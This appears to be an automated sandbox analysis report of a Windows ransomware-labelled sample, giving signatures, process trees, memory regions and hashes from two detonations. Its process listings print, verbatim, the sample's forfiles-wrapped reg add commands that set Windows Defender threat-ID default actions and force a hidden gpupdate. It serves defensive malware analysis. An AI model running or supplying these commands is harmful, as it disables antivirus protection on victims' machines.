Malware Analysis Report

2025-08-11 02:16

Sample ID 240610-qmjx9axapc
Target 2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware
SHA256 d052b74c87dd082fa1ccc32b8441e63e433a60c69b21174ccf43f7f134a725e0
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

d052b74c87dd082fa1ccc32b8441e63e433a60c69b21174ccf43f7f134a725e0

Threat Level: Likely malicious

The file 2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware was found to be: Likely malicious.

Malicious Activity Summary

execution

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Drops file in System32 directory

Enumerates physical storage devices

Program crash

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-10 13:22

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-10 13:22

Reported

2024-06-10 13:25

Platform

win10v2004-20240508-en

Max time kernel

51s

Max time network

59s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3420 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe C:\Windows\SysWOW64\cmd.exe
PID 3420 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe C:\Windows\SysWOW64\cmd.exe
PID 3420 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe C:\Windows\SysWOW64\cmd.exe
PID 1748 wrote to memory of 4576 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 4576 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 4576 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 4576 wrote to memory of 3496 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4576 wrote to memory of 3496 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4576 wrote to memory of 3496 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3496 wrote to memory of 2300 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 3496 wrote to memory of 2300 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 3496 wrote to memory of 2300 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1748 wrote to memory of 4244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 4244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 4244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 4244 wrote to memory of 5024 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4244 wrote to memory of 5024 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4244 wrote to memory of 5024 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 5024 wrote to memory of 3540 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 5024 wrote to memory of 3540 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 5024 wrote to memory of 3540 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1748 wrote to memory of 4848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 4848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 4848 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 4848 wrote to memory of 1212 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4848 wrote to memory of 1212 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4848 wrote to memory of 1212 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 1212 wrote to memory of 2384 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1212 wrote to memory of 2384 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1212 wrote to memory of 2384 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1748 wrote to memory of 3612 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 3612 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 3612 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 3612 wrote to memory of 1916 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3612 wrote to memory of 1916 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3612 wrote to memory of 1916 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 1916 wrote to memory of 3348 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1916 wrote to memory of 3348 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1916 wrote to memory of 3348 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1748 wrote to memory of 2676 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 2676 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1748 wrote to memory of 2676 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 2676 wrote to memory of 2436 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2676 wrote to memory of 2436 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2676 wrote to memory of 2436 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2436 wrote to memory of 5072 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2436 wrote to memory of 5072 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2436 wrote to memory of 5072 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5072 wrote to memory of 4632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\gpupdate.exe
PID 5072 wrote to memory of 4632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\gpupdate.exe
PID 5072 wrote to memory of 4632 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\gpupdate.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe

"C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3420 -ip 3420

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3420 -s 648

Network

Files

memory/5072-0-0x0000000002480000-0x00000000024B6000-memory.dmp

memory/5072-1-0x0000000004F20000-0x0000000005548000-memory.dmp

memory/5072-2-0x0000000004EE0000-0x0000000004F02000-memory.dmp

memory/5072-3-0x00000000056C0000-0x0000000005726000-memory.dmp

memory/5072-4-0x0000000005730000-0x0000000005796000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fij3sn0h.g3w.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5072-14-0x00000000058A0000-0x0000000005BF4000-memory.dmp

memory/5072-15-0x0000000005D60000-0x0000000005D7E000-memory.dmp

memory/5072-16-0x0000000005E00000-0x0000000005E4C000-memory.dmp

memory/5072-17-0x0000000006F30000-0x0000000006FC6000-memory.dmp

memory/5072-18-0x0000000006290000-0x00000000062AA000-memory.dmp

memory/5072-19-0x00000000062E0000-0x0000000006302000-memory.dmp

memory/5072-20-0x0000000007580000-0x0000000007B24000-memory.dmp

memory/3420-23-0x0000000010000000-0x00000000105E8000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-10 13:22

Reported

2024-06-10 13:25

Platform

win7-20231129-en

Max time kernel

120s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2200 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe C:\Windows\SysWOW64\cmd.exe
PID 2200 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe C:\Windows\SysWOW64\cmd.exe
PID 2200 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe C:\Windows\SysWOW64\cmd.exe
PID 2200 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe C:\Windows\SysWOW64\cmd.exe
PID 1964 wrote to memory of 3016 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 3016 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 3016 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 3016 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 3016 wrote to memory of 2416 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3016 wrote to memory of 2416 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3016 wrote to memory of 2416 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 3016 wrote to memory of 2416 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2416 wrote to memory of 1820 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2416 wrote to memory of 1820 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2416 wrote to memory of 1820 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2416 wrote to memory of 1820 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1964 wrote to memory of 2536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 2536 wrote to memory of 1420 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2536 wrote to memory of 1420 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2536 wrote to memory of 1420 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2536 wrote to memory of 1420 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 1420 wrote to memory of 2012 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1420 wrote to memory of 2012 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1420 wrote to memory of 2012 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1420 wrote to memory of 2012 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1964 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 2852 wrote to memory of 2776 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2852 wrote to memory of 2776 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2852 wrote to memory of 2776 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2852 wrote to memory of 2776 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2776 wrote to memory of 2544 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2776 wrote to memory of 2544 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2776 wrote to memory of 2544 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2776 wrote to memory of 2544 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1964 wrote to memory of 2808 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2808 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2808 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2808 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 2808 wrote to memory of 2560 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2808 wrote to memory of 2560 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2808 wrote to memory of 2560 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2808 wrote to memory of 2560 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2560 wrote to memory of 2868 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2560 wrote to memory of 2868 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2560 wrote to memory of 2868 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2560 wrote to memory of 2868 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 1964 wrote to memory of 2580 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2580 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2580 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2580 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\forfiles.exe
PID 2580 wrote to memory of 2644 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2580 wrote to memory of 2644 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2580 wrote to memory of 2644 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2580 wrote to memory of 2644 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2644 wrote to memory of 2660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2644 wrote to memory of 2660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2644 wrote to memory of 2660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2644 wrote to memory of 2660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe

"C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 608

Network

N/A

Files

memory/2200-2-0x0000000010000000-0x00000000105E8000-memory.dmp